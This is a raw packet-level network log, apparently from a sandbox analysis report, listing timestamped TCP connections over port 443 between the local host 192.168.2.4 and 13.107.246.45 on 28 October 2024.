Oct 28, 2024 08:18:24.393167973 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.393270016 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.393282890 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.397413015 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.398011923 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.398113966 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.398113966 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.398113966 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.399842978 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.399852037 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.399918079 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.400026083 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.400038004 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.423721075 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.423789024 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.423841000 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.423851967 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.423893929 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.423943996 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.424014091 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.424021959 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.424036026 CET	49878	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.424040079 CET	443	49878	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.425909042 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.425936937 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.426012039 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.426134109 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.426147938 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:24.699897051 CET	49877	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:24.699933052 CET	443	49877	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.102144957 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.102649927 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.102670908 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.103272915 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.103276968 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.134836912 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.135268927 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.135291100 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.135833979 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.135838985 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.136790037 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.137192011 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.137216091 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.137597084 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.137602091 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.179271936 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.179742098 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.179753065 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.180099010 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.180104971 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.182969093 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.183259964 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.183268070 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.183568954 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.183573008 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.231408119 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.231558084 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.231708050 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.231837988 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.231837988 CET	49879	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.231854916 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.231864929 CET	443	49879	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.235280037 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.235377073 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.235476971 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.235677004 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.235713959 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.266052008 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.266227007 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.266298056 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.266928911 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.267393112 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.267451048 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.267467022 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.267482996 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.267493963 CET	49880	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.267498970 CET	443	49880	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.268918037 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.268942118 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.268955946 CET	49881	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.268960953 CET	443	49881	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.276072979 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.276117086 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.276180983 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.279706001 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.279740095 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.279818058 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.280049086 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.280071974 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.280459881 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.280487061 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.312798023 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.312936068 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.313010931 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.313050985 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.313074112 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.313087940 CET	49883	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.313093901 CET	443	49883	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.315890074 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.315906048 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.315975904 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.316195965 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.316210032 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.324820042 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.324881077 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.324928999 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.324939966 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.324978113 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.325031042 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.325122118 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.325128078 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.325154066 CET	49882	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.325158119 CET	443	49882	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.327960014 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.328002930 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.328074932 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.328248024 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.328264952 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.961159945 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.961817980 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.961863995 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:25.962445021 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:25.962476015 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.020627022 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.021331072 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.021362066 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.021756887 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.021768093 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.062294960 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.062974930 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.063008070 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.063424110 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.063437939 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.088778019 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.089283943 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.089313030 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.089637995 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.089643955 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.093477964 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.093564987 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.093647003 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.093858004 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.093858957 CET	49884	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.093899965 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.093928099 CET	443	49884	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.096800089 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.096904039 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.097035885 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.097237110 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.097275019 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.156368017 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.156440973 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.156536102 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.156543016 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.156606913 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.156868935 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.156910896 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.156943083 CET	49886	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.156959057 CET	443	49886	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.159293890 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.159642935 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.159666061 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.160007954 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.160013914 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.160218954 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.160257101 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.160330057 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.160492897 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.160505056 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.193586111 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.193732023 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.193798065 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.193875074 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.193890095 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.193901062 CET	49887	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.193907022 CET	443	49887	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.196296930 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.196358919 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.196444988 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.196607113 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.196635008 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.223237991 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.223396063 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.223465919 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.223602057 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.223613024 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.223628044 CET	49888	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.223634958 CET	443	49888	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.226094961 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.226138115 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.226237059 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.226408958 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.226423025 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.290560007 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.290647030 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.290708065 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.291122913 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.291122913 CET	49885	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.291148901 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.291172028 CET	443	49885	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.307187080 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.307239056 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.307308912 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.337027073 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.337059021 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.819200993 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.819809914 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.819880009 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.820265055 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.820280075 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.926779985 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.927270889 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.927298069 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.927651882 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.927663088 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.947822094 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.947884083 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.947948933 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.948113918 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.948144913 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.948193073 CET	49889	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.948210955 CET	443	49889	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.951010942 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.951096058 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.951199055 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.951428890 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.951464891 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.958586931 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.959037066 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.959069967 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.959417105 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.959423065 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.973495007 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.973854065 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.973886967 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:26.974400043 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:26.974411011 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.055843115 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.056004047 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.056087017 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.056304932 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.056329012 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.056355953 CET	49891	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.056368113 CET	443	49891	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.059969902 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.060008049 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.060108900 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.060250044 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.060262918 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.074481964 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.075110912 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.075128078 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.075788975 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.075793982 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.098679066 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.098712921 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.098757029 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.098790884 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.098840952 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.099013090 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.099035025 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.099055052 CET	49890	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.099061966 CET	443	49890	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.101813078 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.101838112 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.101929903 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.102129936 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.102143049 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.106110096 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.106173038 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.106245995 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.106302977 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.106338978 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.106399059 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.106479883 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.106479883 CET	49892	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.106534004 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.106559038 CET	443	49892	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.108905077 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.108964920 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.109041929 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.109175920 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.109196901 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.203931093 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.203988075 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.204097033 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.204355001 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.204355001 CET	49893	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.204376936 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.204387903 CET	443	49893	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.207137108 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.207175016 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.207262993 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.207448006 CET	49898	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.207462072 CET	443	49898	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.673573017 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.674226999 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.674256086 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.674895048 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.674907923 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.790556908 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.791073084 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.791112900 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.791544914 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.791551113 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.801696062 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.801765919 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.801826954 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.801839113 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.801879883 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.801943064 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.802000999 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.802015066 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.802025080 CET	49894	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.802031040 CET	443	49894	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.804450989 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.804496050 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.804567099 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.804687023 CET	49899	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.804701090 CET	443	49899	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.842289925 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.842782021 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.842813015 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.843240023 CET	49896	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.843246937 CET	443	49896	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.843759060 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.844095945 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.844113111 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.844487906 CET	49897	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.844492912 CET	443	49897	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.922508955 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.922651052 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.922735929 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.923031092 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.923051119 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.923062086 CET	49895	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.923068047 CET	443	49895	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.925947905 CET	49900	443	192.168.2.4	13.107.246.45
Oct 28, 2024 08:18:27.926038027 CET	443	49900	13.107.246.45	192.168.2.4
Oct 28, 2024 08:18:27.926148891 CET	49900	443	192.168.2.4	13.107.246.45
